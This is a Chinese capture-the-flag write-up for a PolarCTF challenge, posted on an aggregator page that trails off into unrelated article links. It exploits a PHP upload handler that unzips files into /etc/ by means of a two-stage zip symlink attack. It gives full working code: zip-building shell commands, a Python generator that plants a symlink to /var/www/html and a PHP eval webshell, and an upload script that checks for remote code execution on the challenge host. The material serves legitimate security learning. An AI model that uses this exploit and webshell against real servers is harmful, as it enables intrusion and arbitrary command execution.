当前位置: 首页 > news >正文

【PolarCTF2026年春季挑战赛】狗黑子最后的起舞

扫目录发现login.php

注册一个账号并登录,发现增加了一个目录,继续扫这个目录

githack恢复一下

<?php if (isset($_FILES['file'])) { $f = $_FILES['file']; if ($f['error'] === UPLOAD_ERR_OK) { # 检测文件上传是否成功,UPLOAD_ERR_OK 表示无错误 $dest = '/etc/' . time() . '_' . basename($f['name']); # 文件名称 = 时间戳 + 原文件名,避免重名 if (move_uploaded_file($f['tmp_name'], $dest)) { # 将上传的临时文件移动到目标路径 $dest,成功则继续执行;$f['tmp_name'] 就是 PHP 上传文件时,系统自动生成的【临时文件路径】,脚本执行完成之后会自动删除 $escapedDest = escapeshellarg($dest); # 对文件路径进行 shell 转义,防止命令注入漏洞 # unzip -o:强制解压,自动覆盖同名文件,不询问 # -d /etc/:指定解压到 /etc/ 目录 # 2>&1:将标准错误输出重定向到标准输出,方便查看执行结果 exec("unzip -o $escapedDest -d /etc/ 2>&1"); if ($code !== 0) { # 原文没有定义,应该是如果解压失败则再次尝试解压 exec("unzip -o $escapedDest -d /etc/ 2>&1"); } # 删除上传的 ZIP 压缩包,清理痕迹 unlink($dest); echo "ghz"; } } } ?>

这段代码的漏洞点在于

exec("unzip -o $escapedDest -d /etc/ 2>&1");

这个漏洞叫做zip符号链接攻击

那么这个恶意的zip制作方式如下

方法1: # 1. 创建符号链接,指向目标文件,第一个参数就是你要指向的那个文件,第二个参数就是你符号链接的名称 ln -s /etc/passwd symlink_to_passwd # 2. 将符号链接打包进zip(保留符号链接属性) zip --symlinks malicious.zip symlink_to_passwd 方法2: # 或者创建一个包含要写入内容的文件 echo "malicious content" > payload.txt ln -s /target/file.txt symlink zip --symlinks malicious.zip symlink payload.txt

那么我们的攻击思路就很明显了:

步骤1:

首先创建一个zip压缩包,包含一个名为 link 的软链接,指向 Web 根目录(/var/www/html)。解压后,会在服务器上创建/etc/link -> /var/www/html

步骤2:

再创建一个zip压缩包,包含一个名为link/shell.php的文件。解压到/etc/时, unzip 会尝试写入/etc/link/shell.php。但是由于由于/etc/link是向/var/www/html的软链接,文件最终会被写入到/var/www/html/shell.php

攻击流程如下:

┌─────────────────────────────────────────────────────────────┐ │ 第一步:上传 link.zip │ │ ┌──────────────┐ │ │ │ link.zip │ 包含:link -> /var/www/html (符号链接) │ │ └──────────────┘ │ │ ↓ 解压后 │ │ 当前目录出现:link (符号链接) → /var/www/html │ └─────────────────────────────────────────────────────────────┘ ↓ ┌─────────────────────────────────────────────────────────────┐ │ 第二步:上传 shell.zip │ │ ┌──────────────┐ │ │ │ shell.zip │ 包含:link/shell.php (WebShell 内容) │ │ └──────────────┘ │ │ ↓ 解压时 │ │ unzip 跟随 link 符号链接,实际写入 /var/www/html/shell.php │ │ ↓ │ │ 攻击者获得 WebShell,可执行任意命令! │ └─────────────────────────────────────────────────────────────┘
为什么要分两个ZIP进行攻击? 1、符号链接必须先存在,才能被跟随 2、如果放在同一个 ZIP 中,解压顺序不确定,可能符号链接还没创建就尝试写入 3、分两次上传解压,确保攻击顺序可控

攻击的exp.py如下

import zipfile import os def create_symlink_zip(zip_name, link_name, target_path): """ Creates a zip file containing a symbolic link. """ # Create the zip file with zipfile.ZipFile(zip_name, 'w') as zf: # Create a ZipInfo object for the symlink zi = zipfile.ZipInfo(link_name) # Set create_system to 3 (Unix) to ensure external_attr is interpreted correctly zi.create_system = 3 # Set external attributes to represent a symlink (Unix attribute 0xA000) # The attribute format is (mode << 16) | 0 zi.external_attr = 0xA1ED0000 # 0xA000 for symlink, 0x1ED for 0755 permissions zf.writestr(zi, target_path) def create_payload_zip(zip_name, link_name, filename, content): """ Creates a zip file containing a file inside a directory named like the symlink. """ with zipfile.ZipFile(zip_name, 'w') as zf: zf.writestr(os.path.join(link_name, filename), content) if __name__ == "__main__": # ZIP 1: Symlink to the web root # Note: We use 'link' as the symlink name. # In the second ZIP, we'll use 'link/shell.php' create_symlink_zip("link.zip", "link", "/var/www/html") # ZIP 2: Payload file inside the symlink directory create_payload_zip("shell.zip", "link", "shell.php", "<?php eval($_POST['cmd']); ?>") print("Generated link.zip and shell.zip")

由于没有上传文件的前端,再写一个脚本实现自动化上传和验证

import requests import os import time # 题目地址 TARGET_URL = "http://3d822fe3-7075-4504-8714-4f8dbd92825c.www.polarctf.com:8090/ghzpolar/gouheizi.php" BASE_URL = "http://3d822fe3-7075-4504-8714-4f8dbd92825c.www.polarctf.com:8090/" def upload(filename): print(f"[*] Uploading {filename}...") with open(filename, 'rb') as f: files = {'file': (filename, f, 'application/zip')} r = requests.post(TARGET_URL, files=files) print(f"[+] Response: {r.text.strip()}") return r.text def check_shell(): # 尝试两个可能的 shell 路径 paths = ["shell.php", "ghzpolar/shell.php"] for path in paths: url = BASE_URL + path print(f"[*] Checking shell at {url}...") try: r = requests.get(url, timeout=5) if r.status_code == 200: print(f"[!!!] Shell found at {url}") # 简单测试一下 RCE r_post = requests.post(url, data={'cmd': 'echo "pwned";'}) if "pwned" in r_post.text: print("[!!!] RCE verified!") return True except Exception as e: print(f"[-] Error checking {url}: {e}") return False if __name__ == "__main__": # 1. 运行 gen_zip.py 生成压缩包 print("[*] Generating ZIP files...") os.system("python gen_zip.py") # 2. 上传 link.zip upload("link.zip") # 3. 上传 shell.zip upload("shell.zip") # 4. 验证 check_shell()

访问后门即可getshell

得到flag{aa1e3ea993e122de5de6e387db6c860}

http://www.jsqmd.com/news/553071/

相关文章:

  • Chandra OCR真实测评:对比GPT-4o,开源OCR模型表现如何
  • 2026年质量好的陶土幕墙砖/山东幕墙石英砖厂家怎么挑 - 品牌宣传支持者
  • 提升协作效率:开源实时协作Markdown工具全解析
  • Java SpringBoot+Vue3+MyBatis 在线租房和招聘平台系统源码|前后端分离+MySQL数据库
  • PostgreSQL 18安全入门:除了改密码,你的pg_hba.conf文件真的配置对了吗?(附常用场景模板)
  • OptiScaler完全指南:跨硬件适配技术突破4步实现非N卡画质增强
  • 告别手动计算!用postcss-px-to-viewport-8-plugin实现移动端vw适配(附完整配置)
  • DataSploit部署完全手册:从零开始搭建你的情报收集平台
  • Windows环境下SpringBoot Jar包热更新实战:从配置文件到Class文件的动态替换
  • Spring Cloud Gateway 详细示例 元一软件
  • 基于Simulink的模糊控制器与PID控制器在水箱液位控制中的仿真对比研究——单容水箱数学模...
  • Atlas OS中Xbox应用登录错误0x89235107的完整解决方案
  • OpenClaw+Qwen3-32B-Chat私有化部署:家庭服务器搭建方案
  • C++的std--ranges透明支持
  • OpenClaw技能市场巡礼:百川2-13B支持的十大实用插件
  • Web 开发者零 AI 基础入门:Skill 开发实战全攻略
  • 3个核心突破:茉莉花插件如何让中文文献工作者效率提升90%
  • OpenClaw隐私保护方案:Qwen3-32B本地化数据处理
  • 墨语灵犀代码解释器效果测评:执行数学计算与数据分析
  • Qwen3-ASR-0.6B与VMware虚拟化:企业级语音平台部署
  • OWL ADVENTURE学术写作助手:基于LaTeX的图表自动描述生成
  • 结合LSTM时序建模:深入理解SOONet处理视频连续性的机制
  • MinerU智能文档理解服务新手教程:5分钟搭建PDF解析系统
  • 从零开始搭建FPGA仿真环境:Quartus+Modelsim详细配置教程(含RTL视图解析)
  • C++ STL 容器内存管理机制
  • 从零到一:手把手教你构建Gymnasium自定义强化学习环境
  • Nunchaku FLUX.1-dev部署教程:华为云ModelArts平台适配ComfyUI部署
  • Wan2.2-I2V-A14B文生视频应用:房地产VR看房视频自动生成解决方案
  • Qwen-Image-Lightning稳定运行秘诀:Sequential CPU Offload策略深度解析
  • Go Channel 死锁问题定位技巧